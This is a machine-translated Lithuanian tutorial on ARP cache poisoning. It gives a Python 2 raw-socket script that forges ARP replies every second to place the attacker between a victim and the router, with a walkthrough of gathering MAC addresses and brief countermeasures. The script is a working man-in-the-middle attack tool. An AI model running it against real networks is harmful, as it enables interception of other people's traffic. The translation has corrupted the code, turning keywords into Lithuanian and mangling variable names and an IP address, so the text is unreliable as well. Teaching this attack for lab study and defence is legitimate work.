Šiandien aš jus mokysiu kaip įgyvendinti apsinuodijimo ARP ataką (Apsinuodijimas ARP talpykla). Už jį „Python“ naudosiu neapdorotus lizdus, tikslas yra pamatyti, kaip veikia tokio tipo lizdai, sužinoti, kaip veikia ši ataka, ar galite atlikti bandymus savo tinkle (nors tinkle tam jau yra įrankių), o ne tai, kad naudojate kenkėjiškiems tikslai.
PastabaNaudodami „Scapy“ galite šį darbą įgyvendinti greičiau ir lengviau, tačiau žiūrėdami šią mokymo programą galėsite panaudoti žinias, kad galėtumėte naudotis biblioteka ir tai padaryti patys, jei tai padarytume atvirkščiai. Čia pateiktas metodas veikia tik „Linux“ sistemose.
Mažos detalės, kurias turėtumėte žinoti
ARPTai adresas, skirtas tinklo sluoksniui. Jos misija yra rasti MAC adresą (fizinį adresą), kuris atitinka konkretų IP adresą (tinklo adresą).
ARP talpyklosKiekvienas įrenginys turi mažą atmintį, kurioje saugo MAC - IP vertimus, mes tuo pasinaudosime. Ši talpykla egzistuoja todėl, kad išvengiama papildomų išlaidų, kai prašoma išversti kiekvieną kartą, kai prisijungiame prie kito įrenginio.
The ARP protokolo veikimas Tai paprasta, kai kam nors siunčiate paketą, įrenginio talpykla bus tikrinama, jei yra toks vertimas, paketas bus išsiųstas, o jei nėra ARP, jis išsiųs transliacijos paketą (jis yra ypatingas, turi paskirties MAC adresą ff: ff: ff: ff: ff: ff), šis paketas pasieks visus tinklo įrenginius ir „paklaus“, kas turi IP adresą, kiekvienas įrenginys, pamatęs specialų MAC, perskaitys paketas, ir tik tas, kurio adresas Ieškomas IP atsakys nurodydamas savo MAC, tuo metu jis bus saugomas talpykloje, kad nereikėtų dar kartą klausti per ateinančias kelias minutes.
The ARP apsinuodijimo ataka Jis naudojamas šnipinėti duomenis, einančius per tinklą, arba mes taip pat galime juos naudoti, kad duomenys nepasiektų paskirties vietų, į kurias jie eina. Ši ataka susideda iš nuolatinio ARP paketų siuntimo į tinklą, nurodant, kad mūsų MAC atitinka aukos IP ir kad mūsų MAC yra susietas su maršrutizatoriaus IP. Turime nuolat siųsti paketus, nes tai yra dinaminis protokolas, todėl talpykla keičiasi, gali būti, kad vertimas ištrinamas, jis atnaujinamas tikrais duomenimis, todėl norėdami įsitikinti, kad siunčiame paketus kas trumpą laiką, jie nėra labai sunkus, todėl jie paprastai neperkraus tinklo.
PastabaARP yra protokolas, naudojamas tik IPv4, todėl ši ataka negalioja IPv6, tačiau apsinuodijimo išpuolį galima įvykdyti pasinaudojant kitu protokolu, pvz., NDP, kuris naudojamas tinklo „kaimynams“ atrasti .
Norėdami pradėti savo pavyzdį, turime žinoti aukos IP adresą ir maršrutizatoriaus šliuzą, taip pat jo MAC, galite naudoti nmap, kad surastumėte aktyvius įrenginius savo tinkle, o MAC galima lengvai gauti, pavyzdžiui, norime Norėdami užnuodyti 192.168.66.2 adreso talpyklą, kuri bus mano auka (virtuali mašina), cmd arba terminale vykdysiu šiuos veiksmus:
„Windows“ -> „Ping 192.168.66.2 -n 1 Unix“ -> „Ping 192.168.66.2 -c 1“-C ir -n rodo, kad reikia siųsti tik vieną paketą, kiekviena operacinė sistema turi skirtingus parametrus. Vėliau įdėjome:
arfaTai parodys ARP talpyklą, todėl galime matyti išsaugotus vertimus (ir atlikę ping, mes jau turime vertimą su auka). Mes turime padaryti tą patį su maršrutizatoriaus šliuzu:
Toliau pateiksiu visus duomenis, kuriuos turime turėti po ranka:
- Auka -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
- Maršrutizatorius -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
- Mano kompiuteris -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f
Žemiau įdedu visą kodą ir jį paaiškinu, jis veikia „Python“ 2.x versijoje, tačiau su nedideliais pakeitimais galite jį pritaikyti prie 3.x versijos:
importuoti lizdą importo laikas, struktura, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kodas =" \ x08 \ x06 "commonpackage = macOrigen + kodas eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "Operation4 Code =" x0 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.6.2.2 + MacVictouterHead = eth1 + MacVictouterCompartida + antraštė ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print („Apsinuodijimo talpyklos… sustabdyti CTRL + C“), o tiesa: connection.send (arpRouter) ar.r ) laikas. miegas (1)Pirmas dalykas, kurį mes darome, yra importuoti reikiamas bibliotekas, kurių nereikia daugiau paaiškinti. Tęskime šiomis eilutėmis:
connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))Pirmoje eilutėje sukuriamas lizdas, turintis šias charakteristikas:
- PF_PACKET: Norėdami siųsti ir gauti žemo lygio paketus.
- SOCK_RAW: Naudoti neapdorotus lizdus.
- lizdas.htons (0x0800): 0x0800 apibrėžia ETH_P_IP protokolą, funkcija ntohs konvertuoja tinklo formatą į baitus tinkamu formatu mūsų kompiuteriui (s reiškia trumpą, tai yra 16 bitų, jei jis turėtų l, tai būtų 32 bitai).
Antrasis bus atsakingas už lizdo įdėjimą „klausytis“:
- ens33: tai tinklo sąsaja, kurioje ketiname dirbti, jūsų gali būti eth0, jei naudosite „ifconfig“, tai pamatysite (žr. paveikslėlį žemiau).
- lizdas.htons (0x800): tas pats, kas minėta anksčiau.
Eilutės, kurias matome žemiau, sukurs Ethernet antraštes, tam mes nustatysime MAC ir kodą (tas, kurį įdėjome, priklauso ARP protokolui), jei norite daugiau sužinoti apie Ethernet, spustelėkite čia:
macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kodas = "\ x08 \ x06" commonpackage = macSource + kodas eth1 = macVictima + commonpackage eth2 = macRouter + commonpackageKitoje kodo dalyje surenkami ARP paketai, norėdami sužinoti struktūrą, galite apsilankyti šioje nuorodoje ir eiti į paketo struktūros skyrių. Operacijos kodas \ x00 \ x02 turi nurodyti, kad tai atsakymo paketas (jei jis būtų 1, tai būtų užklausa), o funkcija socket.inet_aton () konvertuoja IPv4 adresą į 32 bitų dvejetainį formatą. Kaip matėte ankstesniame kode ir dabar, norėdami sukurti paketą, mes sujungiame jo dalis.
HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operacinis protokolasProtocolLength + MacOpp. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + bendrinama antraštė + ipRouter + macVictima + ipVictima arpRouter = eth2 + bendrinama antraštė + ipVictima + macRouter + ipRPaskutinėje kodo dalyje rodomas pranešimas, kad jis veikia, ir įeina į begalinę kilpą, kuri siunčia paketus, kad nuodytų mūsų aukos talpyklas ir maršrutizatoriaus šliuzą. Tai daroma kas sekundę nuo miego.
print („Apsinuodijimo talpyklos … kad sustabdytumėte CTRL + C“), o tiesa: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)Pažiūrėkime, kaip atrodo programos vykdymas (mes turime paleisti kaip root vartotojas):
Ir jei pažvelgsime į aukos talpyklą, pamatysime, kad jo IP adresas dabar yra susietas su užpuoliko MAC:
Priemonės
- Naudoti statinės ARP lentelės, įrašus pridedame ranka ir neleidžiame jiems kisti.
- Konsultuotis Atvirkštinis ARP, šis protokolas grąžins IP adresą iš MAC, taigi, jei jis grąžina daugiau nei vieną IP adresą, tikėtina, kad buvome apgauti.
Šios priemonės reikalauja minimalių žinių, todėl ne visi galės jas atlikti, tačiau, pasikonsultavę su mūsų IT saugumo klausimais ar pamokomis, tikrai rasite pagalbos.
Jei norite kodo, čia yra pašto kodas:
Atsisiųsti kodą ArpPoisoning.zip 579 baitai 116 atsisiuntimai
Ar jums patiko ir padėjo ši pamoka?Galite apdovanoti autorių paspausdami šį mygtuką, kad suteiktumėte jam teigiamą tašką